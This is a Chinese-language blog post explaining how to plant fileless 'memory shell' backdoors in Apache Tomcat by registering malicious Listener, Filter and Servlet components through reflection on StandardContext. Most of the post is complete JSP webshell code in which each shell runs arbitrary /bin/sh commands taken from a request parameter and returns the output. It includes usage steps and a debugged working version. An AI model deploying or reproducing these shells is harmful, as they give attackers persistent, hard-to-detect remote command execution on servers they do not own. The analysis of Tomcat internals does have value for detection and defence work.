背景知识-生命周期

Servlet:Servlet的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
装入:启动服务器时加载Servlet的实例。
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。
调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法。
销毁:停止服务器时调用destroy()方法,销毁实例。

Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;停止服务器时调用destroy()方法,销毁实例。

Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。
每次请求创建时调用requestInitialized();每次请求销毁时调用requestDestroyed()。

加载顺序
web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,即listener的优先级为三者中最高的。

listener型

请求网站的时候,程序先自动执行listener监听器的内容,再去执行filter过滤器,如果存在多个过滤器则会组成过滤链,最后一个过滤器将会去执行Servlet的service方法。
Listener -> Filter -> Servlet
Listener是最先被加载的,所以可以利用动态注册恶意的Listener达到内存马。

Listener分类

  1. ServletContext监听,服务器启动和终止时触发
  2. Session监听,Session建立摧毁时触发
  3. Request监听,每次访问服务时触发
    从上面分类来看,如果能动态添加Listener那Request监听最适合植入内存马。

源码分析

addListener方法

  1. public <T extends EventListener> void addListener(T t) {
  2. // 首先判断web应用是不是已经初始化运行起来了, 如果是的话则不能在中途添加Listener。
  3. if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
  4. throw new IllegalStateException(sm.getString("applicationContext.addListener.ise", new Object[]{this.getContextPath()}));
  5. } else {
  6. boolean match = false;
  7. if (t instanceof ServletContextAttributeListener || t instanceof ServletRequestListener || t instanceof ServletRequestAttributeListener || t instanceof HttpSessionIdListener || t instanceof HttpSessionAttributeListener) {
  8. this.context.addApplicationEventListener(t);
  9. match = true;
  10. }
  11. public void addApplicationEventListener(Object listener) {
  12. this.applicationEventListenersList.add(listener);
  13. }

ApplicationContext的addListener方法,可以将恶意Listener加入到Listener数组中,从而实现内存马。
在addListener中真正去添加Listener的是this.context.addApplicationEventListener方法,这里的context的值是StandardContext,也就是说真正用于添加Listener的方法在StandardContext的方法中。
由于addListener方法会判断web应用状态,不能直接调用来添加Listener。
(注:也看到有师傅通过修改context的state为LifecycleState.STARTING_PREP来通过判断,最后修改回来,但个人比较担心这个操作容易产生副作用,因此不采用。)
因此需要通过反射获取StandardContext对象并调用addApplicationEventListener(listener)方法来添加Listener。
getServletContext().png
而StandardContext对象可以通过request的getServletContext()方法获取。

request内置对象

request内置对象是由Tomcat创建的,可以用来封装HTTP请求参数信息、进行属性值的传递以及完成服务端跳转,这就是request对象最重要的三个功能了。
一旦http请求报文发送到Tomcat中, Tomcat对数据进行解析,就会立即创建request对象,并对参数赋值,然后将其传递给对应的jsp/servlet 。一旦请求结束,request对象就会立即被销毁。服务端跳转,因为仍然是同一次请求,所以这些页面会共享一个request对象。

实现

  1. <%@ page import="org.apache.catalina.core.StandardContext" %>
  2. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  3. <%@ page import="java.lang.reflect.Field" %>
  4. <%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
  5. <%@ page import="org.apache.jasper.tagplugins.jstl.core.Out" %>
  6. <%@ page import="java.io.IOException" %>
  7. <%@ page import="javax.servlet.annotation.WebServlet" %>
  8. <%@ page import="java.io.InputStreamReader" %>
  9. <%@ page import="java.io.BufferedReader" %>
  10. <%
  11. // 获取standardContext对象
  12. Object obj = request.getServletContext();
  13. Field field = obj.getClass().getDeclaredField("context");
  14. field.setAccessible(true);
  15. ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
  16. field = applicationContext.getClass().getDeclaredField("context");
  17. field.setAccessible(true);
  18. StandardContext standardContext = (StandardContext) field.get(applicationContext);
  19. // 创建listener
  20. ListenH listenH = new ListenH(request, response);
  21. // 添加listener
  22. standardContext.addApplicationEventListener(listenH);
  23. out.print("Add successfully.");
  24. %>
  25. <%!
  26. public class ListenH implements ServletRequestListener {
  27. public ServletResponse response;
  28. public ServletRequest request;
  29. ListenH(ServletRequest request, ServletResponse response) {
  30. this.request = request;
  31. this.response = response;
  32. }
  33. public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
  34. }
  35. public void requestInitialized(ServletRequestEvent servletRequestEvent) {
  36. String cmder = request.getParameter("cmd");
  37. String[] cmd = new String[]{"/bin/sh", "-c", cmder};
  38. try {
  39. Process ps = Runtime.getRuntime().exec(cmd);
  40. BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
  41. StringBuffer sb = new StringBuffer();
  42. String line;
  43. while ((line = br.readLine()) != null) {
  44. //执行结果加上回车
  45. sb.append(line).append("<br>");
  46. }
  47. String result = sb.toString();
  48. this.response.getWriter().write(result);
  49. }catch (Exception e){
  50. System.out.println("error ");
  51. }
  52. }
  53. }
  54. %>

每次访问该jsp页面的时候都会重复添加Listener,导致重复执行。所以访问一次添加成功后最好不要再访问。
添加成功后访问任意存在的页面?cmd=要执行的命令即可。

filter型

原理

Filter的作用,当配置了Filter后用户的请求会经过FIlter过滤后再执行到Servlet,如果有多个Filter则会组成一个Filter链,最后一个Filter再去执行Servlet。

相关类

Filter 过滤器接口
FilterChain 过滤器链
FilterConfig 过滤器的配置
FilterDef 过滤器的配置和描述
ApplicationFilterChain 调用过滤器链
ApplicationFilterConfig 获取过滤器
ApplicationFilterFactory 组装过滤器链

addFilter方法

前面提到在ApplicationContext中存在addListener方法,可以将恶意Listener加入到Listener数组中,从而实现内存马。在ApplicationContext中也存在addFilter方法。

  1. private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
  2. if (filterName != null && !filterName.equals("")) {
  3. // 首先判断web应用是不是已经初始化运行起来了, 如果是的话则不能在中途添加Filter。
  4. if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
  5. throw new IllegalStateException(sm.getString("applicationContext.addFilter.ise", new Object[]{this.getContextPath()}));
  6. } else {
  7. // 通过filterName查找filterDef,没有则添加filterDef
  8. FilterDef filterDef = this.context.findFilterDef(filterName);
  9. if (filterDef == null) {
  10. filterDef = new FilterDef();
  11. filterDef.setFilterName(filterName);
  12. this.context.addFilterDef(filterDef);
  13. } else if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
  14. return null;
  15. }
  16. // 为filterDef添加关联的filter对象
  17. if (filter == null) {
  18. filterDef.setFilterClass(filterClass);
  19. } else {
  20. filterDef.setFilterClass(filter.getClass().getName());
  21. filterDef.setFilter(filter);
  22. }
  23. // 注册filterDef
  24. return new ApplicationFilterRegistration(filterDef, this.context);
  25. }

但以上整个过程只相当于进行了filterDef的创建和注册行为,并没有将filter添加到链中。

createFilterChain方法

  1. public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
  2. ......
  3. ......
  4. ......
  5. // 获取到StandardContext的filterMaps
  6. StandardContext context = (StandardContext)wrapper.getParent();
  7. FilterMap[] filterMaps = context.findFilterMaps();// 获取FilterMaps,这个是在ContextConfig中组装的,内容是在web.xml中配置的filter
  8. if (filterMaps != null && filterMaps.length != 0) {
  9. DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
  10. String requestPath = null;
  11. Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
  12. if (attribute != null) {
  13. requestPath = attribute.toString();
  14. }
  15. String servletName = wrapper.getName();
  16. FilterMap[] arr$ = filterMaps;
  17. int len$ = filterMaps.length;
  18. int i$;
  19. FilterMap filterMap;
  20. ApplicationFilterConfig filterConfig;
  21. // 根据RequestURI匹配FilterMaps中的过滤项,添加到filterChain中
  22. for(i$ = 0; i$ < len$; ++i$) {
  23. filterMap = arr$[i$];
  24. // matchDispatcher - 过滤器支持的类型,包括 FORWARD、INCLUDE、REQUEST、ASYNC、ERROR
  25. // matchFiltersURL - filterMap里filter设置的过滤url地址是否和前端请求匹配
  26. if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
  27. // 通过FilterName在StandardContext中获取filterConfig
  28. filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
  29. if (filterConfig != null) {
  30. filterChain.addFilter(filterConfig);// 添加过滤器到过滤器链中
  31. }
  32. }
  33. }
  34. arr$ = filterMaps;
  35. len$ = filterMaps.length;
  36. // 根据StanderWrapper的Name来匹配FilterMaps中的过滤项,添加到filterChain
  37. for(i$ = 0; i$ < len$; ++i$) {
  38. filterMap = arr$[i$];
  39. // matchFiltersServlet - 比较的是FilterMap的ServletName与StanderWrapper的Name
  40. if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
  41. // 通过FilterName在StandardContext中获取filterConfig
  42. filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
  43. if (filterConfig != null) {
  44. filterChain.addFilter(filterConfig);// 添加过滤器到过滤器链中
  45. }
  46. }
  47. }
  48. return filterChain;
  49. } else {
  50. return filterChain;
  51. }
  52. }
  53. }

最终目的:filterChain.addFilter(filterConfig);// 添加过滤器到过滤器链中
流程:

  1. 由filterMap获取filterName
  2. 通过FilterName在StandardContext中获取filterConfig
  3. 将获取到的filterConfig添加到filterChain中

FilterMaps

FilterMaps对应了web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序。
FilterMaps.png

FilterConfig

filterConfig在filterConfigs中。
filterConfigs是一个HashMap,存放了filter名和ApplicationFilterConfig的键值对。
ApplicationFilterConfig中存放了filterDef。

实现

要实现filter型内存马要经过如下步骤:

  1. 创建恶意filter类并用filterDef对其进行封装
  2. 将filterDef添加到filterDefs中
  3. 创建filterConfig并添加到filterConfigs中(filterConfig需要filterName与ApplicationFilterConfig的映射)
  4. 创建filterMap并添加到filterMaps中(filterMap需要url与filterName的映射)
  5. 利用StandardContext的addFilterMapBefore方法将filterMap添加到首位
  6. StandardContext会一直保留到Tomcat生命周期结束,所以内存马可以一直驻留下去,直到Tomcat重启。

测试环境:apache-tomcat-7.0.109

  1. <%@ page import="org.apache.catalina.core.StandardContext" %>
  2. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  3. <%@ page import="java.lang.reflect.Field" %>
  4. <%@ page import="java.io.IOException" %>
  5. <%@ page import="org.apache.catalina.deploy.FilterDef" %>
  6. <%@ page import="org.apache.catalina.deploy.FilterMap" %>
  7. <%@ page import="java.lang.reflect.Constructor" %>
  8. <%@ page import="org.apache.catalina.Context" %>
  9. <%@ page import="java.util.HashMap" %>
  10. <%@ page import="java.io.BufferedReader" %>
  11. <%@ page import="java.io.InputStreamReader" %>
  12. <%
  13. // 为了获取standardContext
  14. Object obj = request.getServletContext();
  15. Field field = obj.getClass().getDeclaredField("context");
  16. field.setAccessible(true);
  17. ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
  18. field = applicationContext.getClass().getDeclaredField("context");
  19. field.setAccessible(true);
  20. StandardContext standardContext = (StandardContext) field.get(applicationContext);
  21. // 创建filterDef添加到standardContext中
  22. FilterDef filterDef = new FilterDef();
  23. filterDef.setFilterName("testF");
  24. standardContext.addFilterDef(filterDef); // 在context中添加filterMap时会去找一下是否存在对应的filterdef
  25. Filter filter = new testF();
  26. filterDef.setFilter(filter); // 将我们创建的filter与filterdef相关联起来
  27. // 将filterDef添加到filterConfigs中
  28. field = standardContext.getClass().getDeclaredField("filterConfigs");
  29. field.setAccessible(true);
  30. HashMap hashMap = (HashMap) field.get(standardContext);
  31. Constructor constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
  32. constructor.setAccessible(true);
  33. hashMap.put("testF",constructor.newInstance(standardContext,filterDef));
  34. // 创建filterMap以添加url与filter的映射,并置于最高优先级
  35. FilterMap filterMap = new FilterMap();
  36. filterMap.addURLPattern("/*");
  37. filterMap.setFilterName("testF");
  38. standardContext.addFilterMapBefore(filterMap);
  39. System.out.println("filter ok !");
  40. %>
  41. <%!
  42. public class testF implements Filter {
  43. public void destroy() {
  44. }
  45. public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
  46. String cmder = req.getParameter("cmd");
  47. String[] cmd = new String[]{"/bin/sh", "-c", cmder};
  48. try {
  49. Process ps = Runtime.getRuntime().exec(cmd);
  50. BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
  51. StringBuffer sb = new StringBuffer();
  52. String line;
  53. while ((line = br.readLine()) != null) {
  54. //执行结果加上回车
  55. sb.append(line).append("<br>");
  56. }
  57. String result = sb.toString();
  58. resp.getWriter().write(result);
  59. }catch (Exception e){
  60. System.out.println("error ");
  61. }
  62. chain.doFilter(req,resp);
  63. }
  64. public void init(FilterConfig config) throws ServletException {
  65. }
  66. }
  67. %>

servlet型

原理

参考文章[2]的分析方式如下:
查看添加一个servlet后StandardContext的变化。

  1. <servlet>
  2. <servlet-name>servletDemo</servlet-name>
  3. <servlet-class>com.yzddmr6.servletDemo</servlet-class>
  4. </servlet>
  5. <servlet-mapping>
  6. <servlet-name>servletDemo</servlet-name>
  7. <url-pattern>/demo</url-pattern>
  8. </servlet-mapping>

servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装。
添加servlet后StandardContext的变化.png
类似FilterMaps,servlet也有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系。
servletMappings.png
个人在对应版本环境下跟进调试:
企业微信截图_e14a1992-0ff3-49c1-a6d0-88aa5601ae97.png
注册的Servlet都会出现在children中,其中后两个是个人通过注解注册的。
现在问题是:1.如何新建Wrapper 2.然后用Wapper封装Servlet
通过Google知晓:

ContextConfig监听器响应配置开始事件时会解析web.xml,进而将每个servlet定义都包装成Wrapper,这是由Context组件的createWrapper方法实现的。 REF:Tomcat启动分析(十一) - Wrapper组件

在tomcat源码搜索createWapper方法时发现它自己添加wapper的一个逻辑可供参考。
企业微信截图_219231fa-3485-469e-bdd4-1ad13b3d76d5.png
但是明显缺失了对servlet本体class的关联。不要慌张,再看看别的:
企业微信截图_e6427241-672f-4417-bcde-eb7a5f6d5aed.png
抄作业,请。
然后就是问题3:如何添加ServletMapping将访问的URL和Servlet进行绑定
企业微信截图_1934ca38-f480-4f83-a6ee-c70fd21ba1a3.png
企业微信截图_190f857a-50bc-462a-a5f8-c2eafc18cd74.png
也是有作业直接可抄的。

实现

主要步骤如下:

  1. 创建恶意Servlet
  2. 用Wrapper对其进行封装
  3. 添加封装后的恶意Wrapper到StandardContext的children当中
  4. 添加ServletMapping将访问的URL和Servlet进行绑定

测试环境:apache-tomcat-7.0.109

最终代码1✖️

  1. <%@ page import="javax.servlet.*" %>
  2. <%@ page import="javax.servlet.http.*" %>
  3. <%@ page import="javax.servlet.annotation.*" %>
  4. <%@ page import="java.io.IOException" %>
  5. <%@ page import="java.io.BufferedReader" %>
  6. <%@ page import="java.io.InputStreamReader" %>
  7. <%@ page import="org.apache.catalina.core.StandardContext" %>
  8. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  9. <%@ page import="java.lang.reflect.Field" %>
  10. <%@ page import="org.apache.catalina.Wrapper" %>
  11. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  12. <html>
  13. <head>
  14. <title>servlet shell</title>
  15. </head>
  16. <body>
  17. </body>
  18. </html>
  19. <%
  20. // 为了获取standardContext
  21. Object obj = request.getServletContext();
  22. Field field = obj.getClass().getDeclaredField("context");
  23. field.setAccessible(true);
  24. ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
  25. field = applicationContext.getClass().getDeclaredField("context");
  26. field.setAccessible(true);
  27. StandardContext standardContext = (StandardContext) field.get(applicationContext);
  28. // 1. 创建恶意Servlet
  29. ShellServlet shellServlet = new ShellServlet();
  30. // 2. 用Wrapper对其进行封装
  31. Wrapper sw = standardContext.createWrapper();
  32. sw.setServletClass(shellServlet.getClass().getName());
  33. sw.setName("ShellServlet");
  34. // 3. 添加封装后的恶意Wrapper到StandardContext的children当中
  35. standardContext.addChild(sw);
  36. // 4. 添加ServletMapping将访问的URL和Servlet进行绑定
  37. standardContext.addServletMapping("/ShellServlet", sw.getName());
  38. // END
  39. out.println("动态注入servlet成功");
  40. %>
  41. <%!
  42. public class ShellServlet extends HttpServlet {
  43. @Override
  44. protected void doGet(HttpServletRequest request, HttpServletResponse response) {
  45. String cmder = request.getParameter("servletcmd");
  46. String[] cmd = new String[]{"/bin/sh", "-c", cmder};
  47. try {
  48. Process ps = Runtime.getRuntime().exec(cmd);
  49. BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
  50. StringBuffer sb = new StringBuffer();
  51. String line;
  52. while ((line = br.readLine()) != null) {
  53. //执行结果加上回车
  54. sb.append(line).append("\n");
  55. }
  56. String result = sb.toString();
  57. response.getWriter().write(result);
  58. } catch (Exception e) {
  59. System.out.println("error ");
  60. }
  61. }
  62. }
  63. %>
  64. <%--
  65. class ShellServlet implements Servlet{
  66. @Override
  67. public void init(ServletConfig config) throws ServletException {}
  68. @Override
  69. public String getServletInfo() {return null;}
  70. @Override
  71. public void destroy() {} public ServletConfig getServletConfig() {return null;}
  72. @Override
  73. public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
  74. HttpServletRequest request1 = (HttpServletRequest) req;
  75. HttpServletResponse response1 = (HttpServletResponse) res;
  76. if (request1.getParameter("cmd") != null){
  77. // Runtime.getRuntime().exec(request1.getParameter("cmd"));
  78. String cmder = req.getParameter("cmd");
  79. String[] cmd = new String[]{"/bin/sh", "-c", cmder};
  80. try {
  81. Process ps = Runtime.getRuntime().exec(cmd);
  82. BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
  83. StringBuffer sb = new StringBuffer();
  84. String line;
  85. while ((line = br.readLine()) != null) {
  86. //执行结果加上回车
  87. sb.append(line).append("\n");
  88. }
  89. String result = sb.toString();
  90. response1.getWriter().write(result);
  91. }catch (Exception e){
  92. System.out.println("error ");
  93. }
  94. }
  95. else{
  96. response1.sendError(HttpServletResponse.SC_NOT_FOUND);
  97. }
  98. }
  99. }
  100. --%>

下面注释代码块也是可用的。
✈️心情激动,IDEA启动,注入成功!访问servlet报错!😭
企业微信截图_7630b3fc-b49b-4811-9f71-7887a2ea9776.png
企业微信截图_aeca4dd5-11d7-4fda-8b4a-dc09e3b5c9f3.png
不可用?什么不可用?我为什么看不懂🙉
调试半天也没找出原因,最后还是比对别的师傅的servlet-shell代码发现的问题:缺失setServlet操作。
即关联了name关联了class没有关联本体。
但是没想通别人怎么发现的,于是继续会源代码查找setServlet附近的逻辑。
企业微信截图_fdb12599-8b85-4f9f-bb67-ff568d67fe32.png
上门红色框内的代码是否有些熟悉。就是作者前面嘲讽的地方:

但是明显缺失了对servlet本体class的关联。不要慌张,再看看别的:

抄作业要认真。

最终代码2✔️

  1. <%@ page import="javax.servlet.*" %>
  2. <%@ page import="javax.servlet.http.*" %>
  3. <%@ page import="javax.servlet.annotation.*" %>
  4. <%@ page import="java.io.IOException" %>
  5. <%@ page import="java.io.BufferedReader" %>
  6. <%@ page import="java.io.InputStreamReader" %>
  7. <%@ page import="org.apache.catalina.core.StandardContext" %>
  8. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  9. <%@ page import="java.lang.reflect.Field" %>
  10. <%@ page import="org.apache.catalina.Wrapper" %>
  11. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  12. <html>
  13. <head>
  14. <title>servlet shell</title>
  15. </head>
  16. <body>
  17. </body>
  18. </html>
  19. <%
  20. // 为了获取standardContext
  21. Object obj = request.getServletContext();
  22. Field field = obj.getClass().getDeclaredField("context");
  23. field.setAccessible(true);
  24. ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
  25. field = applicationContext.getClass().getDeclaredField("context");
  26. field.setAccessible(true);
  27. StandardContext standardContext = (StandardContext) field.get(applicationContext);
  28. // 1. 创建恶意Servlet
  29. ShellServlet shellServlet = new ShellServlet();
  30. // 2. 用Wrapper对其进行封装
  31. Wrapper sw = standardContext.createWrapper();
  32. sw.setServletClass(shellServlet.getClass().getName());
  33. sw.setServlet(shellServlet);
  34. sw.setName("ShellServlet");
  35. // 3. 添加封装后的恶意Wrapper到StandardContext的children当中
  36. standardContext.addChild(sw);
  37. // 4. 添加ServletMapping将访问的URL和Servlet进行绑定
  38. standardContext.addServletMapping("/ShellServlet", sw.getName());
  39. // END
  40. out.println("动态注入servlet成功");
  41. %>
  42. <%!
  43. public class ShellServlet extends HttpServlet {
  44. @Override
  45. protected void doGet(HttpServletRequest request, HttpServletResponse response) {
  46. String cmder = request.getParameter("servletcmd");
  47. String[] cmd = new String[]{"/bin/sh", "-c", cmder};
  48. try {
  49. Process ps = Runtime.getRuntime().exec(cmd);
  50. BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
  51. StringBuffer sb = new StringBuffer();
  52. String line;
  53. while ((line = br.readLine()) != null) {
  54. //执行结果加上回车
  55. sb.append(line).append("\n");
  56. }
  57. String result = sb.toString();
  58. response.getWriter().write(result);
  59. } catch (Exception e) {
  60. System.out.println("error ");
  61. }
  62. }
  63. }
  64. %>

⚠️获取standardContext部分代码一直都是抄的某个师傅的,感觉有简化的可能?

参考

[1].查杀Java web filter型内存马
[2].JSP Webshell那些事——攻击篇(下)
[3].bitterzzZZ / MemoryShellLearn / jsp注入内存马 / addservlet.jsp
[4].Tomcat内存马(一) 初探